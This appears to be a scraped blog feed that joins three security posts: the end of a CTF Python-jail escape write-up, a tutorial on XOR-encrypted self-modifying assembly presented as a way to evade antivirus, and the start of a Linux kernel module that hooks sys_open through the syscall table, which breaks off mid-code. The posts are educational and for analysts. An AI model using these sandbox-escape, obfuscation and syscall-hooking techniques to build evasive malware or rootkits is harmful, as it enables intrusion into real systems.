<p>Finding that linecache global was really taking time to do manually (the ‘<strong>subclasses</strong>’ dictionary has too many entries), so I developed this small script to help me (I ran this on the local machine to identify what indexes had the linecache entry):</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="n">x</span><span class="o">=</span><span class="p">[]</span>
<span class="n">z</span><span class="o">=</span><span class="p">().</span><span class="n">__class__</span><span class="p">.</span><span class="n">__base__</span><span class="p">.</span><span class="nf">__subclasses__</span><span class="p">()</span>
<span class="k">for</span> <span class="n">y</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="nf">len</span><span class="p">(</span><span class="n">z</span><span class="p">)):</span>
<span class="k">try</span><span class="p">:</span>
<span class="k">if</span> <span class="n">z</span><span class="p">[</span><span class="n">y</span><span class="p">].</span><span class="n">__init__</span><span class="p">.</span><span class="n">__globals__</span><span class="p">[</span><span class="sh">'</span><span class="s">linecache</span><span class="sh">'</span><span class="p">]:</span> <span class="n">x</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="n">y</span><span class="p">)</span>
<span class="k">except</span> <span class="nb">Exception</span><span class="p">,</span><span class="n">e</span><span class="p">:</span>
<span class="k">pass</span></code></pre></figure>
<p>This has returned me the following:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>>>> x
[52, 53]
>>> z[52]
<class 'warnings.WarningMessage'>
>>> z[53]
<class 'warnings.catch_warnings'>
</code></pre></div></div>
<p>So now you know what is that index 53 used above.</p>
<p>Thanks to <strong>p1ra</strong> for the hint on ‘<strong>base</strong>’ and <strong>sigsegv</strong> for the nice links :)</p>
<p>The flag was: <strong>you_are_the_pyeval_master</strong></p>
<h2 id="references">References</h2>
<p>Nice readings on the topic that helped me figure this one out.</p>
<p>http://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/</p>
<p>http://sysexit.wordpress.com/2012/10/26/hacklu-ctf-2012-python-jail-200-write-up/</p>
<p>http://eindbazen.net/2013/04/pctf-2013-pyjail-misc-400/</p>
Encrypted Self Modifying Code2013-01-18T00:00:00+00:00https://www.gilgalab.com/blog/2013/01/18/Self-modifying-code<h1 id="introduction">Introduction</h1>
<p>This is supposed to be a short article on the development of self modifying
code. I will show some simple codes and discuss a way to make them behave
differently by having one part of the code section replaced by another one.</p>
<p>After this, we will use a simple XOR logic to encrypt a piece of code and add
it to our existing code. Using the techinique initially described we will have
a self modifying code to decrypt and execute such code.</p>
<p>If this doesn’t sound clear, keep reading for a better understanding.
Basic knowledge on assembly is required in order to follow the examples.
Every assembly code described can be compiled using the GNU Assembler (gas).</p>
<h1 id="reasoning">Reasoning</h1>
<p>Why write self modifying code? Well, there is not only one single reason, but
I believe that the main reason is obfuscation. Self modifying code can be hard
to debug and understand, making this technique very useful for malware writers.</p>
<p>This technique can also be used to trick anti-virus software into not detecting
the malware.</p>
<p>Based on the scenario described above, I believe it is important to understand
a little bit of this technique if you want to do some malware analysis.</p>
<h1 id="our-first-self-modifying-code-smc">Our first Self Modifying Code (SMC)</h1>
<p>The idea is simple: we have a piece of code in an address that gets
executed. After that, we change the code in this address and jump to it
so something else is executed. More less like this</p>
<p>Address 0x1000:</p>
<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nl">will_change:</span>
<span class="nf">mov</span> <span class="kc">$</span><span class="mh">0x100</span><span class="p">,</span> <span class="o">%</span><span class="nb">eax</span><span class="p">,</span>
<span class="nf">add</span> <span class="kc">$</span><span class="mh">0x02</span><span class="p">,</span> <span class="o">%</span><span class="nb">eax</span>
<span class="nf">mov</span> <span class="o">%</span><span class="nb">eax</span><span class="p">,</span> <span class="o">%</span><span class="nb">ecx</span>
<span class="nf">call</span> <span class="nv">modify_code</span>
<span class="nf">jmp</span> <span class="nv">will_change</span>
</code></pre></div></div>
<p>What will happen is, the ‘modify_code’ procedure will change the opcodes
starting at the address fo the ‘will_change’ label. When we jump to the
‘will_change’ label again, the code that will be executed will not be a
sum to the %eax register, but something else we want.</p>
<p>Enough talk, let’s look at some code:</p>
<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">#</span> <span class="nf">Assemble</span> <span class="nv">and</span> <span class="nv">link</span> <span class="nv">with</span><span class="p">:</span>
<span class="err">#</span> <span class="nf">as</span> <span class="o">-</span><span class="nv">o</span> <span class="nv">smc1.o</span> <span class="nv">smc1.s</span>
<span class="err">#</span> <span class="nf">ld</span> <span class="o">-</span><span class="nv">o</span> <span class="nv">smc1</span> <span class="nv">smc1.o</span>
<span class="nf">.section</span> <span class="nv">.data</span>
<span class="nl">hello_1:</span> <span class="nf">.asciz</span> <span class="err">"</span><span class="nv">Hello</span> <span class="nv">number</span> <span class="mi">1</span><span class="err">!</span><span class="s">"
bye: .asciz "</span><span class="nv">Adios</span><span class="err">!"</span>
<span class="nf">.section</span> <span class="nv">.text</span>
<span class="nf">.globl</span> <span class="nv">_start</span>
<span class="err">#</span> <span class="nf">Align</span> <span class="nv">the</span> <span class="nv">code</span> <span class="nv">to</span> <span class="nv">a</span> <span class="nv">page</span> <span class="nv">boundary</span>
<span class="nf">.align</span> <span class="mi">4096</span>
<span class="nl">_start:</span>
<span class="err">#</span> <span class="nf">Make</span> <span class="nv">memory</span> <span class="nv">starting</span> <span class="nv">at</span> <span class="nv">the</span> <span class="nv">address</span> <span class="s">'_start'</span> <span class="nv">writable</span>
<span class="err">#</span> <span class="nf">using</span> <span class="nv">syscall</span> <span class="nv">sys_mprotect</span>
<span class="nf">mov</span> <span class="kc">$</span><span class="mi">125</span><span class="p">,</span> <span class="o">%</span><span class="nb">eax</span>
<span class="nf">movl</span> <span class="kc">$</span><span class="nv">_start</span><span class="p">,</span> <span class="o">%</span><span class="nb">ebx</span>
<span class="err">#</span> <span class="nf">We</span> <span class="nv">will</span> <span class="nv">make</span> <span class="nv">everything</span> <span class="nv">from</span> <span class="nv">_start</span> <span class="nv">to</span> <span class="nv">new_code_end</span> <span class="nv">writable</span>
<span class="nf">movl</span> <span class="kc">$</span><span class="p">(</span><span class="nv">new_code_end</span> <span class="o">-</span> <span class="nv">_start</span><span class="p">),</span> <span class="o">%</span><span class="nb">ecx</span>
<span class="nf">movl</span> <span class="kc">$</span><span class="mi">7</span><span class="p">,</span> <span class="o">%</span><span class="nb">edx</span>
<span class="nf">int</span> <span class="kc">$</span><span class="mh">0x80</span>
<span class="nl">loop:</span>
<span class="err">#</span> <span class="nf">Say</span> <span class="nv">hello</span><span class="err">!</span>
<span class="nf">xor</span> <span class="o">%</span><span class="nb">eax</span><span class="p">,</span> <span class="o">%</span><span class="nb">eax</span>
<span class="nf">movl</span> <span class="kc">$</span><span class="mi">4</span><span class="p">,</span> <span class="o">%</span><span class="nb">eax</span> <span class="err">#</span> <span class="nv">syscall</span> <span class="nv">write</span>
<span class="nf">movl</span> <span class="kc">$</span><span class="mi">1</span><span class="p">,</span> <span class="o">%</span><span class="nb">ebx</span> <span class="err">#</span> <span class="nv">to</span> <span class="nv">stdout</span>
<span class="nf">movl</span> <span class="kc">$</span><span class="nv">hello_1</span><span class="p">,</span> <span class="o">%</span><span class="nb">ecx</span>
<span class="nf">movl</span> <span class="kc">$</span><span class="mi">17</span><span class="p">,</span> <span class="o">%</span><span class="nb">edx</span> <span class="err">#</span> <span class="nv">The</span> <span class="nb">si</span><span class="nv">ze</span> <span class="nv">of</span> <span class="nv">the</span> <span class="nv">hello_1</span> <span class="nv">string</span>
<span class="nf">int</span> <span class="kc">$</span><span class="mh">0x80</span>
<span class="err">#</span> <span class="nf">This</span> <span class="nv">is</span> <span class="nv">where</span> <span class="nv">the</span> <span class="nv">magic</span> <span class="nv">happens.</span> <span class="nv">We</span> <span class="nv">will</span> <span class="nv">replace</span> <span class="nv">everything</span>
<span class="err">#</span> <span class="nf">starting</span> <span class="nv">from</span> <span class="nv">the</span> <span class="nv">address</span> <span class="nv">at</span> <span class="nv">the</span> <span class="nv">label</span> <span class="s">'loop'</span> <span class="nv">with</span> <span class="nv">the</span> <span class="nv">code</span>
<span class="err">#</span> <span class="nf">starting</span> <span class="nv">at</span> <span class="nv">the</span> <span class="nv">label</span> <span class="err">'</span><span class="nv">new_code</span><span class="err">'</span>
<span class="nf">movl</span> <span class="kc">$</span><span class="p">(</span><span class="nv">new_code_end</span> <span class="o">-</span> <span class="nv">new_code</span><span class="p">),</span> <span class="o">%</span><span class="nb">ecx</span>
<span class="nf">movl</span> <span class="kc">$</span><span class="nv">new_code</span><span class="p">,</span> <span class="o">%</span><span class="nb">esi</span>
<span class="nf">movl</span> <span class="kc">$</span><span class="nv">loop</span><span class="p">,</span> <span class="o">%</span><span class="nb">edi</span>
<span class="nf">rep</span> <span class="nv">movsb</span> <span class="err">#</span> <span class="nv">Decrement</span> <span class="o">%</span><span class="nb">ecx</span> <span class="nv">and</span> <span class="nv">repeat</span> <span class="nv">while</span> <span class="o">%</span><span class="nb">ecx</span> <span class="o">></span> <span class="mi">0</span>
<span class="nf">jmp</span> <span class="nv">loop</span>
<span class="nl">new_code:</span>
<span class="err">#</span> <span class="nf">Say</span> <span class="nv">Adios</span><span class="err">!</span>
<span class="nf">movl</span> <span class="kc">$</span><span class="mi">4</span><span class="p">,</span> <span class="o">%</span><span class="nb">eax</span>
<span class="nf">movl</span> <span class="kc">$</span><span class="mi">1</span><span class="p">,</span> <span class="o">%</span><span class="nb">ebx</span>
<span class="nf">movl</span> <span class="kc">$</span><span class="nv">bye</span><span class="p">,</span> <span class="o">%</span><span class="nb">ecx</span>
<span class="nf">movl</span> <span class="kc">$</span><span class="mi">7</span><span class="p">,</span> <span class="o">%</span><span class="nb">edx</span>
<span class="nf">int</span> <span class="kc">$</span><span class="mh">0x80</span>
<span class="err">#</span> <span class="nf">The</span> <span class="nv">infinte</span> <span class="nv">loop</span> <span class="nv">is</span> <span class="nv">over</span><span class="err">!</span>
<span class="nf">movl</span> <span class="kc">$</span><span class="mi">1</span><span class="p">,</span> <span class="o">%</span><span class="nb">eax</span> <span class="err">#</span> <span class="nv">syscall</span> <span class="nv">exit</span>
<span class="nf">xor</span> <span class="o">%</span><span class="nb">ebx</span><span class="p">,</span> <span class="o">%</span><span class="nb">ebx</span>
<span class="nf">int</span> <span class="kc">$</span><span class="mh">0x80</span>
<span class="nl">new_code_end:</span>
</code></pre></div></div>
<p>I believe the code and its comments are pretty self explanatory. One thing that
might need an explanation is the fact of the code being aligned in 4096 bytes.</p>
<p>In Linux (at least for x86 and base x64) the memory is aligned in a 4Kbytes
boundary (called a page). The pages containing code are, by default, read only.</p>
<p>When one tries to write to a read only page, the kernel will generate a SIGSEGV
causing our apllication to abort. For this reason, we need to use ‘mprotect’ to
make the page where the code will be rewritten writable. As one can see in the
manpages, you can only change the privileges of the page, if this page has been
allocated by your process, thus the reason for the aligning (guarantee that we
have one page of ours to modify the access privileges).</p>
<p>If you didn’t understand it to this point, I recommend that you re-read the
code and experiment a little bit with it. Comment out the line ‘rep movsb’ to
see the results. Try removing the ‘.align 4096’ directive and check see the
behaviour.</p>
<h1 id="adding-some-encryption">Adding some encryption!</h1>
<p>The first part showed a really simple example of self modifying code. It is not
too usefull as it is pretty simple to figure out what is happening and how it
is happening, after all the code being used to replace the existing one is in
a clear format for everyone to read. This is when doing some encryption might
come into the game in order to make it harder for the analyst to figure out
what the code is doing.</p>
<p>Let’s have a look at the code we will be injecting into our original code:</p>
<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">.section</span> <span class="nv">.text</span>
<span class="nf">.globl</span> <span class="nv">_start</span>
<span class="nl">_start:</span>
<span class="nf">mov</span> <span class="kc">$</span><span class="mi">4</span><span class="p">,</span> <span class="o">%</span><span class="nb">eax</span>
<span class="nf">mov</span> <span class="kc">$</span><span class="mi">1</span><span class="p">,</span> <span class="o">%</span><span class="nb">ebx</span>
<span class="nf">.byte</span> <span class="mh">0xE8</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span> <span class="err">#</span> <span class="nv">call</span> <span class="nv">next.</span>
<span class="nl">txt:</span>
<span class="nf">.byte</span> <span class="mh">0x41</span><span class="p">,</span> <span class="mh">0x42</span><span class="p">,</span> <span class="mh">0x43</span><span class="p">,</span> <span class="mh">0x0A</span>
<span class="nl">next:</span>
<span class="nf">popq</span> <span class="o">%</span><span class="nb">rcx</span> <span class="err">#</span> <span class="nv">Address</span> <span class="nv">of</span> <span class="nv">our</span> <span class="nv">string</span> <span class="nv">poped</span> <span class="nv">into</span> <span class="o">%</span><span class="nb">rcx</span>
<span class="nf">movl</span> <span class="kc">$</span><span class="mi">4</span><span class="p">,</span> <span class="o">%</span><span class="nb">edx</span>
<span class="nf">int</span> <span class="kc">$</span><span class="mh">0x80</span>
<span class="nf">mov</span> <span class="kc">$</span><span class="mi">1</span><span class="p">,</span> <span class="o">%</span><span class="nb">eax</span>
<span class="nf">xor</span> <span class="o">%</span><span class="nb">ebx</span><span class="p">,</span> <span class="o">%</span><span class="nb">ebx</span>
<span class="nf">int</span> <span class="kc">$</span><span class="mh">0x80</span>
</code></pre></div></div>
<p>This code will print the string “ABC\n” and execute an exit(0).</p>
<p>There are a couple of tricks which have been used and I should discuss, so let
me do that.</p>
<p>The first trick is in the line</p>
<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nf">.byte</span> <span class="mh">0xE8</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span> <span class="err">#</span> <span class="nv">call</span> <span class="nv">next</span>
</code></pre></div></div>
<p>Here I am hard coding the instruction call into the code. This would be
translated into something like this:</p>
<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nf">call</span> <span class="mh">0x4</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">)</span>
</code></pre></div></div>
<p>This causes the RIP (or EIP in a 32 bit processor) to be pushed into the stack.
If you look close, the RIP being pushed into the stack is exactly the address
of the ‘txt’ label! So, right now we have in the stack the address to our
string!</p>
<p>The other trick here, is to have the string in the middle of the code section
disguised as code!</p>
<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nl">txt:</span> <span class="nf">.byte</span> <span class="mh">0x41</span><span class="p">,</span> <span class="mh">0x42</span><span class="p">,</span> <span class="mh">0x43</span><span class="p">,</span> <span class="mh">0x0A</span>
</code></pre></div></div>
<p>That is the string “ABC\n”!</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ as -o smc2.o smc2.s && ld -o smc2 smc2.o
$ ./smc2
ABC
</code></pre></div></div>
<p>Looking at this code under objdump we get:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ objdump -d smc2
smc2: file format elf64-x86-64
Disassembly of section .text:
00000000004000b0 <_start>:
4000b0: b8 04 00 00 00 mov $0x4,%eax
4000b5: bb 01 00 00 00 mov $0x1,%ebx
4000ba: e8 04 00 00 00 callq 4000c3 <next>
00000000004000bf <txt>:
4000bf: 41 rex.B
4000c0: 42 rex.X
4000c1: 43 0a 59 ba rex.XB or -0x46(%r9),%bl
00000000004000c3 <next>:
4000c3: 59 pop %rcx
4000c4: ba 04 00 00 00 mov $0x4,%edx
4000c9: cd 80 int $0x80
4000cb: b8 01 00 00 00 mov $0x1,%eax
4000d0: 31 db xor %ebx,%ebx
4000d2: cd 80 int $0x80
</code></pre></div></div>
<p>As you can see, the section under <txt> is completey garbage (our string).</p>
<p>So our opcode listing is as follows:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>b8 04 00 00 00
bb 01 00 00 00
e8 04 00 00 00
41 42 43 0a
59
ba 04 00 00 00
cd 80
b8 01 00 00 00
31 db
cd 80
</code></pre></div></div>
<p>Right now what we have to do is encrypt our opcodes and then insert them into
our binary, where they will be decoded and executed.</p>
<p>For this example, I chose to encrypt the opcodes using an XOR E3; this means I
take each one of the bytes and XOR E3 it.</p>
<p>You can use the following code to do this:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf"><stdio.h></span><span class="cp">
</span>
<span class="cp">#define KEY 0xE3
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
<span class="kt">int</span> <span class="n">i</span><span class="p">;</span>
<span class="kt">char</span> <span class="n">code</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"</span><span class="se">\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xe8\x04\x00\x00</span><span class="s">"</span>
<span class="s">"</span><span class="se">\x00\x41\x42\x43\x0a\x59\xba\x04\x00\x00\x00\xcd\x80\xb8</span><span class="s">"</span>
<span class="s">"</span><span class="se">\x01\x00\x00\x00\x31\xdb\xcd\x80</span><span class="s">"</span><span class="p">;</span>
<span class="k">for</span><span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">code</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"%02x "</span><span class="p">,</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">char</span> <span class="p">)(</span><span class="n">code</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^</span> <span class="n">KEY</span><span class="p">));</span>
<span class="p">}</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>The result is as follows:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>5b e7 e3 e3 e3
58 e2 e3 e3 e3
0b e7 e3 e3 e3
a2 a1 a0 e9
ba
59 e7 e3 e3 e3
2e 63
5b e2 e3 e3 e3
d2 38
2e 63
</code></pre></div></div>
<p>Great! So let’s write some code to use this</p>
<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">.section</span> <span class="nv">.data</span>
<span class="err">#</span> <span class="nf">Our</span> <span class="nv">encrypted</span> <span class="nv">code</span> <span class="nv">goes</span> <span class="nv">here.</span>
<span class="nl">code:</span>
<span class="nf">.byte</span> <span class="mh">0x5b</span><span class="p">,</span> <span class="mh">0xe7</span><span class="p">,</span> <span class="mh">0xe3</span><span class="p">,</span> <span class="mh">0xe3</span><span class="p">,</span> <span class="mh">0xe3</span>
<span class="nf">.byte</span> <span class="mh">0x58</span><span class="p">,</span> <span class="mh">0xe2</span><span class="p">,</span> <span class="mh">0xe3</span><span class="p">,</span> <span class="mh">0xe3</span><span class="p">,</span> <span class="mh">0xe3</span>
<span class="nf">.byte</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0xe7</span><span class="p">,</span> <span class="mh">0xe3</span><span class="p">,</span> <span class="mh">0xe3</span><span class="p">,</span> <span class="mh">0xe3</span>
<span class="nf">.byte</span> <span class="mh">0xa2</span><span class="p">,</span> <span class="mh">0xa1</span><span class="p">,</span> <span class="mh">0xa0</span><span class="p">,</span> <span class="mh">0xe9</span>
<span class="nf">.byte</span> <span class="mh">0xba</span>
<span class="nf">.byte</span> <span class="mh">0x59</span><span class="p">,</span> <span class="mh">0xe7</span><span class="p">,</span> <span class="mh">0xe3</span><span class="p">,</span> <span class="mh">0xe3</span><span class="p">,</span> <span class="mh">0xe3</span>
<span class="nf">.byte</span> <span class="mh">0x2e</span><span class="p">,</span> <span class="mh">0x63</span>
<span class="nf">.byte</span> <span class="mh">0x5b</span><span class="p">,</span> <span class="mh">0xe2</span><span class="p">,</span> <span class="mh">0xe3</span><span class="p">,</span> <span class="mh">0xe3</span><span class="p">,</span> <span class="mh">0xe3</span>
<span class="nf">.byte</span> <span class="mh">0xd2</span><span class="p">,</span> <span class="mh">0x38</span>
<span class="nf">.byte</span> <span class="mh">0x2e</span><span class="p">,</span> <span class="mh">0x63</span>
<span class="nl">hello:</span> <span class="nf">.asciz</span> <span class="err">"</span><span class="nv">Hello</span> <span class="nv">number</span> <span class="mi">1</span><span class="err">!"</span>
<span class="nf">.section</span> <span class="nv">.text</span>
<span class="nf">.globl</span> <span class="nv">_start</span>
<span class="nf">.align</span> <span class="mi">4096</span>
<span class="nl">_start:</span>
<span class="err">#</span> <span class="nf">Make</span> <span class="nv">memory</span> <span class="nv">rwx</span><span class="p">,</span> <span class="nv">using</span> <span class="nv">syscall</span> <span class="nv">sys_mprotect</span>
<span class="nf">movq</span> <span class="kc">$</span><span class="mi">125</span><span class="p">,</span> <span class="o">%</span><span class="nb">rax</span>
<span class="nf">movq</span> <span class="kc">$</span><span class="nv">_start</span><span class="p">,</span> <span class="o">%</span><span class="nb">rbx</span>
<span class="err">#</span> <span class="nf">We</span> <span class="nv">will</span> <span class="nv">make</span> <span class="nv">everything</span> <span class="nv">from</span> <span class="nv">_start</span> <span class="nv">to</span> <span class="nv">new_code_end</span> <span class="nv">rwx</span>
<span class="nf">movq</span> <span class="kc">$</span><span class="p">(</span><span class="nv">the_end</span> <span class="o">-</span> <span class="nv">_start</span><span class="p">),</span> <span class="o">%</span><span class="nb">rcx</span>
<span class="nf">movq</span> <span class="kc">$</span><span class="mi">7</span><span class="p">,</span> <span class="o">%</span><span class="nb">rdx</span>
<span class="nf">int</span> <span class="kc">$</span><span class="mh">0x80</span>
<span class="nf">call</span> <span class="nv">decrypt</span>
<span class="nl">evil:</span>
<span class="nf">movq</span> <span class="kc">$</span><span class="mh">0x04</span><span class="p">,</span> <span class="o">%</span><span class="nb">rax</span>
<span class="nf">movq</span> <span class="kc">$</span><span class="mh">0x01</span><span class="p">,</span> <span class="o">%</span><span class="nb">rbx</span>
<span class="nf">movq</span> <span class="kc">$</span><span class="nv">hello</span><span class="p">,</span> <span class="o">%</span><span class="nb">rcx</span>
<span class="nf">movq</span> <span class="kc">$</span><span class="mh">0x0f</span><span class="p">,</span> <span class="o">%</span><span class="nb">rdx</span>
<span class="nf">int</span> <span class="kc">$</span><span class="mh">0x80</span>
<span class="nf">movq</span> <span class="kc">$</span><span class="mi">36</span><span class="p">,</span> <span class="o">%</span><span class="nb">rcx</span> <span class="err">#</span> <span class="mi">36</span> <span class="nv">is</span> <span class="nv">the</span> <span class="nv">length</span> <span class="nv">of</span> <span class="nv">our</span> <span class="nv">code</span>
<span class="nf">movq</span> <span class="kc">$</span><span class="nv">code</span><span class="p">,</span> <span class="o">%</span><span class="nb">rsi</span>
<span class="nf">movq</span> <span class="kc">$</span><span class="nv">evil</span><span class="p">,</span> <span class="o">%</span><span class="nb">rdi</span>
<span class="nf">rep</span> <span class="nv">movsb</span>
<span class="nf">jmp</span> <span class="nv">evil</span>
<span class="nl">decrypt:</span>
<span class="nf">xor</span> <span class="o">%</span><span class="nb">rcx</span><span class="p">,</span> <span class="o">%</span><span class="nb">rcx</span>
<span class="nl">loop_decrypt:</span>
<span class="nf">mov</span> <span class="kc">$</span><span class="mh">0xE3</span><span class="p">,</span> <span class="o">%</span><span class="nb">dl</span>
<span class="nf">movb</span> <span class="nv">code</span><span class="p">(,</span><span class="o">%</span><span class="nb">rcx</span><span class="p">),</span> <span class="o">%</span><span class="nb">al</span>
<span class="nf">xorb</span> <span class="o">%</span><span class="nb">al</span><span class="p">,</span> <span class="o">%</span><span class="nb">dl</span>
<span class="nf">movb</span> <span class="o">%</span><span class="nb">dl</span><span class="p">,</span> <span class="nv">code</span><span class="p">(,</span><span class="o">%</span><span class="nb">rcx</span><span class="p">)</span>
<span class="nf">inc</span> <span class="o">%</span><span class="nb">rcx</span>
<span class="nf">cmp</span> <span class="kc">$</span><span class="mi">36</span><span class="p">,</span> <span class="o">%</span><span class="nb">rcx</span> <span class="err">#</span> <span class="mi">36</span> <span class="nv">is</span> <span class="nv">the</span> <span class="nv">length</span> <span class="nv">of</span> <span class="nv">our</span> <span class="nv">code</span>
<span class="nf">jne</span> <span class="nv">loop_decrypt</span>
<span class="nl">the_end:</span>
<span class="nf">ret</span>
</code></pre></div></div>
<p>The flow in this code is pretty simple. We set our page with permissions rwx,
decrypt each byte of our code and apply the technique of modifying the existing
code replacing it with the new one.</p>
<p>Of course this is a pretty simple way to do it and it is also really easy for
someone looking at the disassembly to figure out the encryption key and
algorithm.</p>
<p>The idea here is to simply give the reader an idea of what can be
achieved with the technique and not the best way to apply it.</p>
<h1 id="references">References</h1>
<p><a href="http://asm.sourceforge.net/articles/smc.html">http://asm.sourceforge.net/articles/smc.html</a></p>
<p>Some viruses source codes :P</p>
Hooking syscalls in the Linux Kernel2013-01-11T00:00:00+00:00https://www.gilgalab.com/blog/2013/01/11/Hooking-Linux-3-syscalls<p>It is time again to start hacking the kernel a little bit. In order to try to bring some memories back and after stealing the suggestion from a friend, I decided to try to hook the syscalls in the Linux Kernel 3 series for the x64 architecture.</p>
<p>The code presented below has been tested on the kernel version 3.2.0 and seems to work about fine.</p>
<p>So let’s have a look at the code and I will discuss some parts of it after.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf"><linux/module.h></span><span class="cp">
#include</span> <span class="cpf"><linux/init.h></span><span class="cp">
#include</span> <span class="cpf"><linux/types.h></span><span class="cp">
#include</span> <span class="cpf"><asm/uaccess.h></span><span class="cp">
#include</span> <span class="cpf"><asm/cacheflush.h></span><span class="cp">
#include</span> <span class="cpf"><linux/syscalls.h></span><span class="cp">
#include</span> <span class="cpf"><linux/delay.h></span><span class="c1"> // loops_per_jiffy</span><span class="cp">
</span>
<span class="cp">#define CR0_WP 0x00010000 // Write Protect Bit (CR0:16)
</span>
<span class="cm">/* Just so we do not taint the kernel */</span>
<span class="n">MODULE_LICENSE</span><span class="p">(</span><span class="s">"GPL"</span><span class="p">);</span>
<span class="kt">void</span> <span class="o">**</span><span class="n">syscall_table</span><span class="p">;</span>
<span class="kt">unsigned</span> <span class="kt">long</span> <span class="o">**</span><span class="nf">find_sys_call_table</span><span class="p">(</span><span class="kt">void</span><span class="p">);</span>
<span class="kt">long</span> <span class="p">(</span><span class="o">*</span><span class="n">orig_sys_open</span><span class="p">)(</span><span class="k">const</span> <span class="kt">char</span> <span class="n">__user</span> <span class="o">*</span><span class="n">filename</span><span class="p">,</span> <span class="kt">int</span> <span class="n">flags</span><span class="p">,</span> <span class="kt">int</span> <span class="n">mode</span><span class="p">);</span>
<span class="kt">unsigned</span> <span class="kt">long</span> <span class="o">**</span><span class="nf">find_sys_call_table</span><span class="p">()</span> <span class="p">{</span>
<span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">ptr</span><span class="p">;</span>
<span class="kt">unsigned</span> <span class="kt">long</span> <span class="o">*</span><span class="n">p</span><span class="p">;</span>
<span class="k">for</span> <span class="p">(</span><span class="n">ptr</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">long</span><span class="p">)</span><span class="n">sys_close</span><span class="p">;</span>
<span class="n">ptr</span> <span class="o"><</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">long</span><span class="p">)</span><span class="o">&</span><span class="n">loops_per_jiffy</span><span class="p">;</span>
<span class="n">ptr</span> <span class="o">+=</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">))</span> <span class="p">{</span>
<span class="n">p</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">long</span> <span class="o">*</span><span class="p">)</span><span class="n">ptr</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">p</span><span class="p">[</span><span class="n">__NR_close</span><span class="p">]</span> <span class="o">==</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">long</span><span class="p">)</span><span class="n">sys_close</span><span class="p">)</span> <span class="p">{</span>
<span class="n">printk</span><span class="p">(</span><span class="n">KERN_DEBUG</span> <span class="s">"Found the sys_call_table!!!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="k">return</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">long</span> <span class="o">**</span><span class="p">)</span><span class="n">p</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">return</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">long</span> <span class="nf">my_sys_open</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="n">__user</span> <span class="o">*</span><span class="n">filename</span><span class="p">,</span> <span class="kt">int</span> <span class="n">flags</span><span class="p">,</span> <span class="kt">int</span> <span class="n">mode</span><span class="p">)</span> <span class="p">{</span>
<span class="kt">long</span> <span class="n">ret</span><span class="p">;</span>
<span class="n">ret</span> <span class="o">=</span> <span class="n">orig_sys_open</span><span class="p">(</span><span class="n">filename</span><span class="p">,</span> <span class="n">flags</span><span class="p">,</span> <span class="n">mode</span><span class="p">);</span>
<span class="n">printk</span><span class="p">(</span><span class="n">KERN_DEBUG</span> <span class="s">"file %s has been opened with mode %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">filename</span><span class="p">,</span> <span class="n">mode</span><span class="p">);</span>
<span class="k">return</span> <span class="n">ret</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">static</span> <span class="kt">int</span> <span class="n">__init</span> <span class="nf">syscall_init</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">int</span> <span class="n">ret</span><span class="p">;</span>
